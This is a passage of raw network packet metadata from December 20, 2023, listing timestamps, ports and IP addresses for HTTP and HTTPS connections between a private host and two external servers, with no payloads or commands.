Dec 20, 2023 15:35:07.579288006 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579317093 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579344034 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579390049 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579406977 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579462051 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579502106 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579509020 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579521894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579565048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579586029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579638958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579688072 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579791069 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579840899 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579883099 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579886913 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579896927 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579931021 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579940081 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579943895 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579961061 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579973936 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579988956 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579989910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580007076 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580039024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580096006 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580118895 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580132008 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580172062 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580182076 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580192089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580241919 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580270052 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580282927 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580318928 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580339909 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580358028 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580394983 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580548048 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580575943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580595016 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580615997 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.580661058 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.580703974 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751689911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751708031 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751715899 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751732111 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751769066 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751792908 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751799107 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751813889 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751827002 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751854897 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751882076 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751894951 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751914024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751920938 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751929045 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.751957893 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.751996994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752037048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752078056 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752108097 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752130985 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752149105 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752150059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752191067 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752353907 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752429008 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752441883 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752454996 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752466917 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752479076 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752492905 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752497911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752531052 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752535105 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752566099 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752583027 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752607107 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752636909 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752654076 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752672911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752679110 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752687931 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752701998 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752712965 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752737999 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752746105 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752758980 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752796888 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752810955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752830029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752842903 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752856016 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752866030 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752891064 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752904892 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752923965 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752942085 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752954960 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.752959967 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752991915 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.752995014 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753014088 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753052950 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753056049 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753068924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753107071 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753144026 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753221989 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753266096 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753277063 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753299952 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753314018 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753339052 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753365993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753380060 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753396988 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753415108 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753417015 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753438950 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753470898 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753509045 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753511906 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753528118 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753540993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753561020 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753566027 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753599882 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753601074 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753633022 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753669024 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753679037 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753714085 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753737926 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753752947 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753761053 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753777981 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753797054 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753817081 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753830910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753858089 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753865957 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753885984 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753899097 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753906012 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753911018 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753938913 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.753956079 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753968954 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753985882 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.753997087 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.754025936 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.754033089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754106998 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754118919 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754138947 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754143953 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.754158020 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754172087 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.754178047 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.754215956 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.842789888 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842833996 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842854023 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.842866898 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842878103 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.842896938 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842921019 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.842926979 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842952013 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.842971087 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.842977047 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.842981100 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843012094 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843038082 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843041897 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843081951 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843184948 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843225956 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843231916 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843275070 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843278885 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843319893 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843323946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843364954 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.843372107 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.843413115 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.844053984 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.844096899 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.844103098 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.844146013 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.844152927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.844197989 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.844202995 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.844243050 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.844968081 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845009089 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845012903 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845041990 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845052958 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845057964 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845082045 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845115900 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845118999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845163107 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845813990 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845855951 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845860004 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845901012 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845906019 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.845947981 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.845967054 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846010923 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.846015930 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846055984 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.846731901 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846776962 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.846781015 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846822023 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.846826077 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846865892 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.846872091 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.846914053 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.847616911 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847662926 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.847666979 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847695112 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847707987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.847712994 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847733021 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847739935 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.847774982 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.847779989 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.847819090 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.922569036 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922595978 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922610044 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922636986 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922651052 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.922656059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922671080 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922684908 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.922713041 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.922732115 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922746897 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922780991 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.922827959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922846079 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922890902 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.922919035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922972918 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.922986031 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923022032 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923052073 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923069000 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923082113 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923098087 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923132896 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923177958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923196077 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923213959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923226118 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923238039 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923238993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923269033 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923274040 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923291922 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923319101 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923352003 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923397064 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923413992 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923427105 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923455954 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923460960 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923474073 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923489094 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923517942 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923677921 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923722029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923722982 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.923739910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.923789024 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924036026 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924053907 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924103022 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924112082 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924128056 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924140930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924161911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924170017 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924207926 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924232960 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924247026 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924258947 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924288988 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924328089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924346924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924376011 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924397945 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924443007 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924447060 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924482107 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924525976 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924551964 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924571037 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924603939 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924614906 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924660921 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924674988 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924704075 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924705029 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924730062 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924742937 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924747944 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924762964 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924778938 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924782991 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924817085 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924834013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924846888 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924859047 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924895048 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924905062 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924917936 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924930096 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.924951077 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924962997 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.924998999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925014973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925029039 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925043106 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925055981 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925059080 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.925090075 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.925200939 CET	80	49748	198.46.178.135	192.168.2.4
